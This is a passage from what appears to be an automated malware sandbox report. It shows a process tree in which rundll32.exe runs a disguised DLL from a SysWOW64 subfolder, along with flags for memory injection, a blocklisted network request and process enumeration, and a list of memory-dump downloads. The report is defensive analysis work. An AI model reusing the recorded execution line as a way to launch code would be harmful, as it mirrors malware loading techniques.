            • Suspicious use of WriteProcessMemory
            PID:908
            • C:\Windows\SysWOW64\rundll32.exe
              C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Lkoq\rwe.atr",RunDLL
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              PID:1548

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/520-7-0x0000000002310000-0x0000000002311000-memory.dmp
          Download

          memory/520-9-0x000000001C2F0000-0x000000001C2F1000-memory.dmp
          Download

          memory/520-10-0x000000001C420000-0x000000001C421000-memory.dmp
          Download

          memory/520-5-0x0000000001DF0000-0x0000000001DF1000-memory.dmp
          Download

          memory/520-6-0x000000001ACD0000-0x000000001ACD1000-memory.dmp
          Download

          memory/520-8-0x0000000001D50000-0x0000000001D51000-memory.dmp
          Download

          memory/520-4-0x000007FEF53D0000-0x000007FEF5DBC000-memory.dmp
          Download

          memory/816-21-0x000007FEF74B0000-0x000007FEF772A000-memory.dmp
          Download

          memory/908-18-0x00000000001E0000-0x00000000001FF000-memory.dmp
          Download

          memory/1548-20-0x00000000001C0000-0x00000000001DF000-memory.dmp
          Download